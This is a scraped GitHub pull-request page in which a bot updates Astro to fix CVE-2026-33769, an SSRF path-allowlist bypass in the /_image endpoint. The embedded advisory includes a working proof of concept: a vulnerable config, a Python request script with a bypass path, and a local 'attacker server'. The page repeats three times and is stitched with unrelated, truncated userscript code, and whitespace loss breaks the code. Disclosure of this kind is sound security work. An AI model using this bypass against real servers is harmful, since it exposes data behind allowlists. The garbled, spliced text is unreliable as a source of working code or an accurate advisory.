import{defineConfig}from'astro/config';importnodefrom'@&#8203;astrojs/node';exportdefaultdefineConfig({output: 'server',adapter: node({mode: 'standalone'}),image: {remotePatterns: [{protocol: 'https',hostname: 'cdn.example',pathname: '/img/*'},{protocol: 'http',hostname: '127.0.0.1',port: '9999',pathname: '/img/*'},],},});
Affected pages
This PoC targets the /_image endpoint directly; no additional pages are required.
PoC Code
importhttp.clientimportjsonimporturllib.parseHOST="127.0.0.1"PORT=4321deffetch(path: str) ->dict:
conn=http.client.HTTPConnection(HOST, PORT, timeout=10)
conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
resp=conn.getresponse()
body=resp.read(2000).decode("utf-8", errors="replace")
conn.close()
return {
"path": path,
"status": resp.status,
"reason": resp.reason,
"headers": dict(resp.getheaders()),
"body_snippet": body[:400],
}
allowed=urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass=urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")
# Both pass, second should failresults= {
"allowed": fetch(f"/_image?href={allowed}&f=svg"),
"bypass": fetch(f"/_image?href={bypass}&f=svg"),
}
print(json.dumps(results, indent=2))
Attacker server
fromhttp.serverimportBaseHTTPRequestHandler, HTTPServerHOST="127.0.0.1"PORT=9999PAYLOAD="""<svg xmlns=\"http://www.w3.org/2000/svg\"> <text>OK</text></svg>"""classHandler(BaseHTTPRequestHandler):
defdo_GET(self):
print(f">>> {self.command}{self.path}")
ifself.path.endswith(".svg") or"/img/"inself.path:
self.send_response(200)
self.send_header("Content-Type", "image/svg+xml")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(PAYLOAD.encode("utf-8"))
returnself.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok")
deflog_message(self, format, *args):
returnif__name__=="__main__":
server=HTTPServer((HOST, PORT), Handler)
print(f"HTTP logger listening on http://{HOST}:{PORT}")
server.serve_forever()
PoC Steps
  1. Bootstrap default Astro project.
  2. Add the vulnerable config and attacker server.
  3. Build the project.
  4. Start the attacker server.
  5. Start the Astro server.
  6. Run the PoC.
  7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.
Release Notes
withastro/astro (astro)
v5.18.1
Compare Source
Patch Changes
v5.18.0
Compare Source
Minor Changes
  • #​15589b7dd447 Thanks @​qzio! - Adds a new security.actionBodySizeLimit option to configure the maximum size of Astro Actions request bodies.
    This lets you increase the default 1 MB limit when your actions need to accept larger payloads. For example, actions that handle file uploads or large JSON payloads can now opt in to a higher limit.
    If you do not set this option, Astro continues to enforce the 1 MB default to help prevent abuse.
    // astro.config.mjsexportdefaultdefineConfig({security: {actionBodySizeLimit: 10*1024*1024,// set to 10 MB},});
Patch Changes
  • #​15594efae11c Thanks @​qzio! - Fix X-Forwarded-Proto validation when allowedDomains includes both protocol and hostname fields. The protocol check no longer fails due to hostname mismatch against the hardcoded test URL.
v5.17.3
Compare Source
Patch Changes
v5.17.2
Compare Source
Patch Changes
  • c13b536 Thanks @​matthewp! - Improves Host header handling for SSR deployments behind proxies
Configuration
📅 Schedule: (in timezone GMT)
  • Branch creation

    • ""
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovaterenovateBot
added
the 
dependencies
Pull requests that update a dependency file
label
Apr 9, 2026
@changeset-bot
changeset-botBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

🦋 Changeset detected
Latest commit: 4ff8c51
The changes in this PR will be included in the next version bump.
This PR includes changesets to release 1 package
NameType
@clerk/astroPatch
Not sure what this means? Click here to learn what changesets are.
Click here if you're a maintainer who wants to add another changeset to this PR
@vercel
vercelBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.
ProjectDeploymentActionsUpdated (UTC)
clerk-js-sandboxReadyReadyPreview, CommentApr 9, 2026 2:58am
Request Review
@pkg-pr-new
pkg-pr-newBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

Open in StackBlitz
@clerk/agent-toolkit
npm i https://pkg.pr.new/@clerk/agent-toolkit@8279

@clerk/astro
npm i https://pkg.pr.new/@clerk/astro@8279

@clerk/backend
npm i https://pkg.pr.new/@clerk/backend@8279

@clerk/chrome-extension
npm i https://pkg.pr.new/@clerk/chrome-extension@8279

@clerk/clerk-js
npm i https://pkg.pr.new/@clerk/clerk-js@8279

@clerk/dev-cli
npm i https://pkg.pr.new/@clerk/dev-cli@8279

@clerk/expo
npm i https://pkg.pr.new/@clerk/expo@8279

@clerk/expo-passkeys
npm i https://pkg.pr.new/@clerk/expo-passkeys@8279

@clerk/express
npm i https://pkg.pr.new/@clerk/express@8279

@clerk/fastify
npm i https://pkg.pr.new/@clerk/fastify@8279

@clerk/hono
npm i https://pkg.pr.new/@clerk/hono@8279

@clerk/localizations
npm i https://pkg.pr.new/@clerk/localizations@8279

@clerk/nextjs
npm i https://pkg.pr.new/@clerk/nextjs@8279

@clerk/nuxt
npm i https://pkg.pr.new/@clerk/nuxt@8279

@clerk/react
npm i https://pkg.pr.new/@clerk/react@8279

@clerk/react-router
npm i https://pkg.pr.new/@clerk/react-router@8279

@clerk/shared
npm i https://pkg.pr.new/@clerk/shared@8279

@clerk/tanstack-react-start
npm i https://pkg.pr.new/@clerk/tanstack-react-start@8279

@clerk/testing
npm i https://pkg.pr.new/@clerk/testing@8279

@clerk/ui
npm i https://pkg.pr.new/@clerk/ui@8279

@clerk/upgrade
npm i https://pkg.pr.new/@clerk/upgrade@8279

@clerk/vue
npm i https://pkg.pr.new/@clerk/vue@8279

commit: 4ff8c51
@renovate
renovateBot
commented
Apr 9, 2026

Copy link


Copy Markdown

ContributorAuthor
Edited/Blocked Notification
Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.
You can manually request rebase by checking the rebase/retry box above.
⚠️Warning: custom changes will be lost.
@jacekradko
jacekradkoforce-pushed
the
renovate/npm-astro-vulnerability
branch
from
144afbb to
4ff8c51CompareApril 9, 2026 02:57
@jacekradko
jacekradko
merged commit 4c8a31a
into
mainApr 9, 2026

38 of 41 checks passed

@jacekradko
jacekradko
deleted the

renovate/npm-astro-vulnerability

branch
April 9, 2026 11:48
@clerk-cookieclerk-cookie
mentioned this pull request
Apr 9, 2026
 Merged

@diegohazdiegohaz
mentioned this pull request
Apr 16, 2026
 Merged

Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers


1 more reviewer

@jacekradkojacekradkojacekradko approved these changes
Reviewers whose approvals may not affect merge requirements

Assignees


No one assigned


Labels

astrodependenciesPull requests that update a dependency file

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

1 participant

@jacekradko

, 'i');
if (__m === '*' || __re.test(location.href)) {
// Remove or un-stick sticky/fixed headers that block content
(function() {
function unstick() {
document.querySelectorAll('header, nav, [role="banner"], .header, .navbar, .sticky, .fixed-top, [style*="position: fixed"], [style*="position:sticky"]').forEach(function(el) {
if (el.style.position === 'fixed' || el.style.position === 'sticky' || getComputedStyle(el).position === 'fixed' || getComputedStyle(el).position === 'sticky') {
el.style.position = 'static';
el.style.top = 'auto';
el.style.zIndex = 'auto';
}
});
}
unstick();
var observer = new MutationObserver(unstick);
observer.observe(document.body, { childList: true, subtree: true, attributes: true, attributeFilter: ['style', 'class'] });
})();
}
} catch(__e) { console.warn('[Userscript:Kill Sticky Headers]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '
chore(astro): Update dependency astro to v5.18.1 [SECURITY] by renovate[bot] · Pull Request #8279 · clerk/javascript · GitHub
Skip to content
chore(astro): Update dependency astro to v5.18.1 [SECURITY] - #8279
Merged
jacekradko merged 1 commit into
mainfrom 
renovate/npm-astro-vulnerability
Apr 9, 2026
Merged
chore(astro): Update dependency astro to v5.18.1 [SECURITY]#8279
jacekradko merged 1 commit into
mainfrom 
renovate/npm-astro-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Apr 9, 2026

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeAdoptionPassingConfidence
astro (source)5.17.1 → 5.18.1ageadoptionpassingconfidence
Warning
Some dependencies could not be looked up. Check the Dependency Dashboard for more information.
GitHub Vulnerability Alerts
CVE-2026-33769
Summary
This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.
Impact
Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.
Description
Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()
User-controlled href is parsed into transform.src and validated via isRemoteAllowed():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56
consturl=newURL(request.url);consttransform=awaitimageService.parseURL(url,imageConfig);constisRemoteImage=isRemotePath(transform.src);if(isRemoteImage&&isRemoteAllowed(transform.src,imageConfig)===false){returnnewResponse('Forbidden',{status: 403});}
isRemoteAllowed() checks each remotePattern via matchPattern():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21
exportfunctionmatchPattern(url: URL,remotePattern: RemotePattern): boolean{return(matchProtocol(url,remotePattern.protocol)&&matchHostname(url,remotePattern.hostname,true)&&matchPort(url,remotePattern.port)&&matchPathname(url,remotePattern.pathname,true));}
The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99
}elseif(pathname.endsWith('/*')){constslicedPathname=pathname.slice(0,-1);// * lengthconstadditionalPathChunks=url.pathname.replace(slicedPathname,'').split('/').filter(Boolean);returnadditionalPathChunks.length===1;}
Vulnerable code flow:
  1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
  2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
  3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
  4. The image endpoint fetches and returns the remote resource.
PoC
The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.
Vulnerable config
import{defineConfig}from'astro/config';importnodefrom'@&#8203;astrojs/node';exportdefaultdefineConfig({output: 'server',adapter: node({mode: 'standalone'}),image: {remotePatterns: [{protocol: 'https',hostname: 'cdn.example',pathname: '/img/*'},{protocol: 'http',hostname: '127.0.0.1',port: '9999',pathname: '/img/*'},],},});
Affected pages
This PoC targets the /_image endpoint directly; no additional pages are required.
PoC Code
importhttp.clientimportjsonimporturllib.parseHOST="127.0.0.1"PORT=4321deffetch(path: str) ->dict:
conn=http.client.HTTPConnection(HOST, PORT, timeout=10)
conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
resp=conn.getresponse()
body=resp.read(2000).decode("utf-8", errors="replace")
conn.close()
return {
"path": path,
"status": resp.status,
"reason": resp.reason,
"headers": dict(resp.getheaders()),
"body_snippet": body[:400],
}
allowed=urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass=urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")
# Both pass, second should failresults= {
"allowed": fetch(f"/_image?href={allowed}&f=svg"),
"bypass": fetch(f"/_image?href={bypass}&f=svg"),
}
print(json.dumps(results, indent=2))
Attacker server
fromhttp.serverimportBaseHTTPRequestHandler, HTTPServerHOST="127.0.0.1"PORT=9999PAYLOAD="""<svg xmlns=\"http://www.w3.org/2000/svg\"> <text>OK</text></svg>"""classHandler(BaseHTTPRequestHandler):
defdo_GET(self):
print(f">>> {self.command}{self.path}")
ifself.path.endswith(".svg") or"/img/"inself.path:
self.send_response(200)
self.send_header("Content-Type", "image/svg+xml")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(PAYLOAD.encode("utf-8"))
returnself.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok")
deflog_message(self, format, *args):
returnif__name__=="__main__":
server=HTTPServer((HOST, PORT), Handler)
print(f"HTTP logger listening on http://{HOST}:{PORT}")
server.serve_forever()
PoC Steps
  1. Bootstrap default Astro project.
  2. Add the vulnerable config and attacker server.
  3. Build the project.
  4. Start the attacker server.
  5. Start the Astro server.
  6. Run the PoC.
  7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.
Release Notes
withastro/astro (astro)
v5.18.1
Compare Source
Patch Changes
v5.18.0
Compare Source
Minor Changes
  • #​15589b7dd447 Thanks @​qzio! - Adds a new security.actionBodySizeLimit option to configure the maximum size of Astro Actions request bodies.
    This lets you increase the default 1 MB limit when your actions need to accept larger payloads. For example, actions that handle file uploads or large JSON payloads can now opt in to a higher limit.
    If you do not set this option, Astro continues to enforce the 1 MB default to help prevent abuse.
    // astro.config.mjsexportdefaultdefineConfig({security: {actionBodySizeLimit: 10*1024*1024,// set to 10 MB},});
Patch Changes
  • #​15594efae11c Thanks @​qzio! - Fix X-Forwarded-Proto validation when allowedDomains includes both protocol and hostname fields. The protocol check no longer fails due to hostname mismatch against the hardcoded test URL.
v5.17.3
Compare Source
Patch Changes
v5.17.2
Compare Source
Patch Changes
  • c13b536 Thanks @​matthewp! - Improves Host header handling for SSR deployments behind proxies
Configuration
📅 Schedule: (in timezone GMT)
  • Branch creation

    • ""
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovaterenovateBot
added
the 
dependencies
Pull requests that update a dependency file
label
Apr 9, 2026
@changeset-bot
changeset-botBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

🦋 Changeset detected
Latest commit: 4ff8c51
The changes in this PR will be included in the next version bump.
This PR includes changesets to release 1 package
NameType
@clerk/astroPatch
Not sure what this means? Click here to learn what changesets are.
Click here if you're a maintainer who wants to add another changeset to this PR
@vercel
vercelBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.
ProjectDeploymentActionsUpdated (UTC)
clerk-js-sandboxReadyReadyPreview, CommentApr 9, 2026 2:58am
Request Review
@pkg-pr-new
pkg-pr-newBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

Open in StackBlitz
@clerk/agent-toolkit
npm i https://pkg.pr.new/@clerk/agent-toolkit@8279

@clerk/astro
npm i https://pkg.pr.new/@clerk/astro@8279

@clerk/backend
npm i https://pkg.pr.new/@clerk/backend@8279

@clerk/chrome-extension
npm i https://pkg.pr.new/@clerk/chrome-extension@8279

@clerk/clerk-js
npm i https://pkg.pr.new/@clerk/clerk-js@8279

@clerk/dev-cli
npm i https://pkg.pr.new/@clerk/dev-cli@8279

@clerk/expo
npm i https://pkg.pr.new/@clerk/expo@8279

@clerk/expo-passkeys
npm i https://pkg.pr.new/@clerk/expo-passkeys@8279

@clerk/express
npm i https://pkg.pr.new/@clerk/express@8279

@clerk/fastify
npm i https://pkg.pr.new/@clerk/fastify@8279

@clerk/hono
npm i https://pkg.pr.new/@clerk/hono@8279

@clerk/localizations
npm i https://pkg.pr.new/@clerk/localizations@8279

@clerk/nextjs
npm i https://pkg.pr.new/@clerk/nextjs@8279

@clerk/nuxt
npm i https://pkg.pr.new/@clerk/nuxt@8279

@clerk/react
npm i https://pkg.pr.new/@clerk/react@8279

@clerk/react-router
npm i https://pkg.pr.new/@clerk/react-router@8279

@clerk/shared
npm i https://pkg.pr.new/@clerk/shared@8279

@clerk/tanstack-react-start
npm i https://pkg.pr.new/@clerk/tanstack-react-start@8279

@clerk/testing
npm i https://pkg.pr.new/@clerk/testing@8279

@clerk/ui
npm i https://pkg.pr.new/@clerk/ui@8279

@clerk/upgrade
npm i https://pkg.pr.new/@clerk/upgrade@8279

@clerk/vue
npm i https://pkg.pr.new/@clerk/vue@8279

commit: 4ff8c51
@renovate
renovateBot
commented
Apr 9, 2026

Copy link


Copy Markdown

ContributorAuthor
Edited/Blocked Notification
Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.
You can manually request rebase by checking the rebase/retry box above.
⚠️Warning: custom changes will be lost.
@jacekradko
jacekradkoforce-pushed
the
renovate/npm-astro-vulnerability
branch
from
144afbb to
4ff8c51CompareApril 9, 2026 02:57
@jacekradko
jacekradko
merged commit 4c8a31a
into
mainApr 9, 2026

38 of 41 checks passed

@jacekradko
jacekradko
deleted the

renovate/npm-astro-vulnerability

branch
April 9, 2026 11:48
@clerk-cookieclerk-cookie
mentioned this pull request
Apr 9, 2026
 Merged

@diegohazdiegohaz
mentioned this pull request
Apr 16, 2026
 Merged

Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers


1 more reviewer

@jacekradkojacekradkojacekradko approved these changes
Reviewers whose approvals may not affect merge requirements

Assignees


No one assigned


Labels

astrodependenciesPull requests that update a dependency file

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

1 participant

@jacekradko

, 'i');
if (__m === '*' || __re.test(location.href)) {
// Universal Dark Mode - works on any site
(function() {
var enabled = true;
function applyDarkMode() {
if (!enabled) return;
// Create style element if it doesn't exist
var style = document.getElementById('universal-dark-mode-style');
if (!style) {
style = document.createElement('style');
style.id = 'universal-dark-mode-style';
document.head.appendChild(style);
}
// Dark mode CSS - inverts colors but preserves images/video
style.textContent = '
/* Invert everything except media */
html {
filter: invert(1) hue-rotate(180deg) !important;
background: #1a1a2e !important;
}
/* Restore images, videos, iframes, canvas */
img, video, iframe, canvas, svg, picture, [style*="background-image"] {
filter: invert(1) hue-rotate(180deg) !important;
}
/* Preserve specific elements that should not be inverted */
.no-dark-mode, .no-dark-mode *,
[data-theme="light"], [data-theme="light"],
.ace_editor, .ace_editor *,
.CodeMirror, .CodeMirror *,
.monaco-editor, .monaco-editor *,
.markdown-body pre, .markdown-body pre *,
.highlight, .highlight *,
pre code, pre code * {
filter: none !important;
}
/* Fix common UI elements */
.modal, .popup, .dropdown-menu, .tooltip, .popover {
filter: invert(1) hue-rotate(180deg) !important;
background: #2d2d44 !important;
border-color: #444 !important;
}
/* Scrollbars */
::-webkit-scrollbar { background: #1a1a2e !important; }
::-webkit-scrollbar-thumb { background: #444 !important; }
::-webkit-scrollbar-thumb:hover { background: #555 !important; }
/* Selection */
::selection { background: #4ecdc4 !important; color: #1a1a2e !important; }
::-moz-selection { background: #4ecdc4 !important; color: #1a1a2e !important; }
';
}
function removeDarkMode() {
var style = document.getElementById('universal-dark-mode-style');
if (style) style.remove();
}
// Toggle with Alt+Shift+D
document.addEventListener('keydown', function(e) {
if (e.altKey && e.shiftKey && e.key === 'D') {
e.preventDefault();
enabled = !enabled;
if (enabled) {
applyDarkMode();
console.log('[Universal Dark Mode] Enabled');
} else {
removeDarkMode();
console.log('[Universal Dark Mode] Disabled');
}
}
});
// Apply on load
applyDarkMode();
// Re-apply on dynamic content
var observer = new MutationObserver(function(mutations) {
if (enabled && !document.getElementById('universal-dark-mode-style')) {
applyDarkMode();
}
});
observer.observe(document.head, { childList: true });
console.log('[Universal Dark Mode] Loaded - Press Alt+Shift+D to toggle');
})();
}
} catch(__e) { console.warn('[Userscript:Universal Dark Mode]', __e); }
})();
})();
chore(astro): Update dependency astro to v5.18.1 [SECURITY] by renovate[bot] · Pull Request #8279 · clerk/javascript · GitHub
Skip to content
chore(astro): Update dependency astro to v5.18.1 [SECURITY] - #8279
Merged
jacekradko merged 1 commit into
mainfrom 
renovate/npm-astro-vulnerability
Apr 9, 2026
Merged
chore(astro): Update dependency astro to v5.18.1 [SECURITY]#8279
jacekradko merged 1 commit into
mainfrom 
renovate/npm-astro-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Apr 9, 2026

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeAdoptionPassingConfidence
astro (source)5.17.1 → 5.18.1ageadoptionpassingconfidence
Warning
Some dependencies could not be looked up. Check the Dependency Dashboard for more information.
GitHub Vulnerability Alerts
CVE-2026-33769
Summary
This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.
Impact
Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.
Description
Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()
User-controlled href is parsed into transform.src and validated via isRemoteAllowed():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56
consturl=newURL(request.url);consttransform=awaitimageService.parseURL(url,imageConfig);constisRemoteImage=isRemotePath(transform.src);if(isRemoteImage&&isRemoteAllowed(transform.src,imageConfig)===false){returnnewResponse('Forbidden',{status: 403});}
isRemoteAllowed() checks each remotePattern via matchPattern():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21
exportfunctionmatchPattern(url: URL,remotePattern: RemotePattern): boolean{return(matchProtocol(url,remotePattern.protocol)&&matchHostname(url,remotePattern.hostname,true)&&matchPort(url,remotePattern.port)&&matchPathname(url,remotePattern.pathname,true));}
The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99
}elseif(pathname.endsWith('/*')){constslicedPathname=pathname.slice(0,-1);// * lengthconstadditionalPathChunks=url.pathname.replace(slicedPathname,'').split('/').filter(Boolean);returnadditionalPathChunks.length===1;}
Vulnerable code flow:
  1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
  2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
  3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
  4. The image endpoint fetches and returns the remote resource.
PoC
The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.
Vulnerable config
import{defineConfig}from'astro/config';importnodefrom'@&#8203;astrojs/node';exportdefaultdefineConfig({output: 'server',adapter: node({mode: 'standalone'}),image: {remotePatterns: [{protocol: 'https',hostname: 'cdn.example',pathname: '/img/*'},{protocol: 'http',hostname: '127.0.0.1',port: '9999',pathname: '/img/*'},],},});
Affected pages
This PoC targets the /_image endpoint directly; no additional pages are required.
PoC Code
importhttp.clientimportjsonimporturllib.parseHOST="127.0.0.1"PORT=4321deffetch(path: str) ->dict:
conn=http.client.HTTPConnection(HOST, PORT, timeout=10)
conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
resp=conn.getresponse()
body=resp.read(2000).decode("utf-8", errors="replace")
conn.close()
return {
"path": path,
"status": resp.status,
"reason": resp.reason,
"headers": dict(resp.getheaders()),
"body_snippet": body[:400],
}
allowed=urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass=urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")
# Both pass, second should failresults= {
"allowed": fetch(f"/_image?href={allowed}&f=svg"),
"bypass": fetch(f"/_image?href={bypass}&f=svg"),
}
print(json.dumps(results, indent=2))
Attacker server
fromhttp.serverimportBaseHTTPRequestHandler, HTTPServerHOST="127.0.0.1"PORT=9999PAYLOAD="""<svg xmlns=\"http://www.w3.org/2000/svg\"> <text>OK</text></svg>"""classHandler(BaseHTTPRequestHandler):
defdo_GET(self):
print(f">>> {self.command}{self.path}")
ifself.path.endswith(".svg") or"/img/"inself.path:
self.send_response(200)
self.send_header("Content-Type", "image/svg+xml")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(PAYLOAD.encode("utf-8"))
returnself.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok")
deflog_message(self, format, *args):
returnif__name__=="__main__":
server=HTTPServer((HOST, PORT), Handler)
print(f"HTTP logger listening on http://{HOST}:{PORT}")
server.serve_forever()
PoC Steps
  1. Bootstrap default Astro project.
  2. Add the vulnerable config and attacker server.
  3. Build the project.
  4. Start the attacker server.
  5. Start the Astro server.
  6. Run the PoC.
  7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.
Release Notes
withastro/astro (astro)
v5.18.1
Compare Source
Patch Changes
v5.18.0
Compare Source
Minor Changes
  • #​15589b7dd447 Thanks @​qzio! - Adds a new security.actionBodySizeLimit option to configure the maximum size of Astro Actions request bodies.
    This lets you increase the default 1 MB limit when your actions need to accept larger payloads. For example, actions that handle file uploads or large JSON payloads can now opt in to a higher limit.
    If you do not set this option, Astro continues to enforce the 1 MB default to help prevent abuse.
    // astro.config.mjsexportdefaultdefineConfig({security: {actionBodySizeLimit: 10*1024*1024,// set to 10 MB},});
Patch Changes
  • #​15594efae11c Thanks @​qzio! - Fix X-Forwarded-Proto validation when allowedDomains includes both protocol and hostname fields. The protocol check no longer fails due to hostname mismatch against the hardcoded test URL.
v5.17.3
Compare Source
Patch Changes
v5.17.2
Compare Source
Patch Changes
  • c13b536 Thanks @​matthewp! - Improves Host header handling for SSR deployments behind proxies
Configuration
📅 Schedule: (in timezone GMT)
  • Branch creation

    • ""
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovaterenovateBot
added
the 
dependencies
Pull requests that update a dependency file
label
Apr 9, 2026
@changeset-bot
changeset-botBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

🦋 Changeset detected
Latest commit: 4ff8c51
The changes in this PR will be included in the next version bump.
This PR includes changesets to release 1 package
NameType
@clerk/astroPatch
Not sure what this means? Click here to learn what changesets are.
Click here if you're a maintainer who wants to add another changeset to this PR
@vercel
vercelBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.
ProjectDeploymentActionsUpdated (UTC)
clerk-js-sandboxReadyReadyPreview, CommentApr 9, 2026 2:58am
Request Review
@pkg-pr-new
pkg-pr-newBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

Open in StackBlitz
@clerk/agent-toolkit
npm i https://pkg.pr.new/@clerk/agent-toolkit@8279

@clerk/astro
npm i https://pkg.pr.new/@clerk/astro@8279

@clerk/backend
npm i https://pkg.pr.new/@clerk/backend@8279

@clerk/chrome-extension
npm i https://pkg.pr.new/@clerk/chrome-extension@8279

@clerk/clerk-js
npm i https://pkg.pr.new/@clerk/clerk-js@8279

@clerk/dev-cli
npm i https://pkg.pr.new/@clerk/dev-cli@8279

@clerk/expo
npm i https://pkg.pr.new/@clerk/expo@8279

@clerk/expo-passkeys
npm i https://pkg.pr.new/@clerk/expo-passkeys@8279

@clerk/express
npm i https://pkg.pr.new/@clerk/express@8279

@clerk/fastify
npm i https://pkg.pr.new/@clerk/fastify@8279

@clerk/hono
npm i https://pkg.pr.new/@clerk/hono@8279

@clerk/localizations
npm i https://pkg.pr.new/@clerk/localizations@8279

@clerk/nextjs
npm i https://pkg.pr.new/@clerk/nextjs@8279

@clerk/nuxt
npm i https://pkg.pr.new/@clerk/nuxt@8279

@clerk/react
npm i https://pkg.pr.new/@clerk/react@8279

@clerk/react-router
npm i https://pkg.pr.new/@clerk/react-router@8279

@clerk/shared
npm i https://pkg.pr.new/@clerk/shared@8279

@clerk/tanstack-react-start
npm i https://pkg.pr.new/@clerk/tanstack-react-start@8279

@clerk/testing
npm i https://pkg.pr.new/@clerk/testing@8279

@clerk/ui
npm i https://pkg.pr.new/@clerk/ui@8279

@clerk/upgrade
npm i https://pkg.pr.new/@clerk/upgrade@8279

@clerk/vue
npm i https://pkg.pr.new/@clerk/vue@8279

commit: 4ff8c51
@renovate
renovateBot
commented
Apr 9, 2026

Copy link


Copy Markdown

ContributorAuthor
Edited/Blocked Notification
Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.
You can manually request rebase by checking the rebase/retry box above.
⚠️Warning: custom changes will be lost.
@jacekradko
jacekradkoforce-pushed
the
renovate/npm-astro-vulnerability
branch
from
144afbb to
4ff8c51CompareApril 9, 2026 02:57
@jacekradko
jacekradko
merged commit 4c8a31a
into
mainApr 9, 2026

38 of 41 checks passed

@jacekradko
jacekradko
deleted the

renovate/npm-astro-vulnerability

branch
April 9, 2026 11:48
